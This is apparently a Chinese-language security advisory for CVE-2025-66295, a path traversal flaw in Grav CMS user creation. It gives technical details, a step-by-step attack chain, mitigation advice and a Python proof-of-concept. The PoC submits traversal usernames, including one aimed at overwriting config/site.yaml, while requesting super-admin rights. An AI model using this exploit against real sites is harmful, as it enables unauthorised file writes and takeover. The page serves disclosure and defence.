IPBUF安全漏洞报告
English
CVE-2025-66295 CVSS 8.8 高危

CVE-2025-66295 Grav路径遍历漏洞:Admin UI用户创建可写入任意位置

披露日期: 2025-12-01

漏洞信息

漏洞编号
CVE-2025-66295
漏洞类型
路径遍历/任意文件写入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grav CMS

相关标签

路径遍历任意文件写入Grav CMS权限绕过CVE-2025-66295Admin UIYAML注入Web安全

漏洞概述

CVE-2025-66295是Grav CMS中的一个高危安全漏洞,CVSS评分达到8.8。该漏洞存在于Grav 1.8.0-beta.27之前的版本中,根源在于Admin UI的用户创建功能对用户输入的验证不足。当具有用户创建权限的低权限攻击者通过管理界面创建新用户时,如果在用户名中注入路径遍历序列(如../Nijat或..\Nijat),系统会将账户配置文件写入到user/accounts/目录之外的任意位置。攻击者可以利用此漏洞写入包含敏感信息的YAML文件,包括email、fullname、twofa_secret(双因素认证密钥)和hashed_password(哈希密码)等字段。这种任意文件写入能力可能导致远程代码执行、配置篡改或敏感信息泄露等严重后果。该漏洞由GitHub安全团队发现并报告,已在1.8.0-beta.27版本中得到修复。

技术细节

该漏洞是经典的路径遍历(Path Traversal)漏洞,存在于Grav的用户账户创建模块中。当管理员或具有相应权限的用户通过Admin UI创建新账户时,系统会将用户名作为文件名的一部分直接拼接到文件路径中,而没有对用户名进行充分的路径安全验证。具体来说,如果攻击者提交的用户名包含../或..\等路径遍历序列,系统会错误地将文件写入到user/accounts/目录的上级目录或其他可访问路径。例如,用户名设置为../../Nijat会导致系统尝试在user/目录创建Nijat.yaml文件。由于Grav的配置文件采用YAML格式,攻击者可以通过精心构造的用户名写入包含敏感字段的配置文件。这些字段包括:email(邮箱地址)、fullname(真实姓名)、twofa_secret(双因素认证密钥)和hashed_password(加密后的密码)。更严重的是,如果攻击者能够写入PHP文件或覆盖关键配置文件,可能直接实现远程代码执行。修复方案在1.8.0-beta.27版本中加强了对用户名的路径安全检查,确保文件名不包含任何路径遍历字符。

攻击链分析

STEP 1
步骤1
攻击者获取Grav系统的低权限账号,该账号具有用户创建权限(通过社会工程、默认凭证或其他漏洞获取)
STEP 2
步骤2
攻击者登录Grav Admin UI管理后台,进入用户管理或用户创建功能模块
STEP 3
步骤3
攻击者构造包含路径遍历序列的用户名(如../../Nijat或..\Nijat),绕过客户端输入验证
STEP 4
步骤4
攻击者同时填写其他用户字段(email、fullname、password等),并提交创建请求
STEP 5
步骤5
服务器端未对用户名进行充分的路径安全检查,直接将包含路径遍历的用户名拼接到文件路径中
STEP 6
步骤6
系统将包含敏感信息的YAML账户配置文件写入user/accounts/目录之外的任意位置(如user/Nijat.yaml)
STEP 7
步骤7
攻击者可通过访问写入的文件获取敏感信息,或结合其他漏洞实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66295 PoC - Path Traversal in Grav Admin UI User Creation # This PoC demonstrates how an authenticated user with user creation privileges # can exploit the path traversal vulnerability to write files outside user/accounts/ import requests import json TARGET_URL = "http://target-grav-site.com" LOGIN_URL = f"{TARGET_URL}/admin" USER_CREATE_URL = f"{TARGET_URL}/admin/api/user" # Authentication credentials (low-privilege user with user creation rights) AUTH = { "username": "attacker", "password": "attacker_password" } def exploit(): """Exploit path traversal in user creation to write arbitrary YAML file""" # Step 1: Login to Grav Admin session = requests.Session() login_response = session.post(LOGIN_URL, data=AUTH) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Create user with path traversal payload # The username contains path traversal sequences to write outside user/accounts/ path_traversal_usernames = [ "../../Nijat", # Unix-style path traversal "..\\..\\Nijat", # Windows-style path traversal "../../../config/site.yaml", # Attempt to overwrite config ] for payload_username in path_traversal_usernames: user_data = { "username": payload_username, "email": "[email protected]", "fullname": "Path Traversal Attacker", "password": "hashed_password_value", "twofa_secret": "JBSWY3DPEHPK3PXP", "access": { "admin": { "login": True, "super": True } } } headers = { "Content-Type": "application/json", "X-Toolbar": "admin" } create_response = session.post( USER_CREATE_URL, data=json.dumps(user_data), headers=headers ) if create_response.status_code in [200, 201]: print(f"[+] Successfully created user with path traversal: {payload_username}") print(f"[+] File written to unexpected location outside user/accounts/") return True else: print(f"[-] Failed with payload: {payload_username}") return False if __name__ == "__main__": print("CVE-2025-66295 Exploitation Tool") print("Target: Grav CMS < 1.8.0-beta.27") exploit()

影响范围

Grav CMS < 1.8.0-beta.27

防御指南

临时缓解措施
立即将Grav CMS升级到1.8.0-beta.27或更高版本。如果暂时无法升级,可以采取以下临时缓解措施:1) 审查并限制具有用户创建权限的账户,移除不必要的用户创建权限;2) 在Web服务器层面配置,禁止访问user/accounts/目录之外的新创建文件;3) 启用详细的访问日志和文件写入日志,监控异常的账户配置文件创建行为;4) 考虑临时禁用用户创建功能,等待官方补丁发布。同时建议检查user/目录下是否存在异常的YAML文件,并排查是否已被利用。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表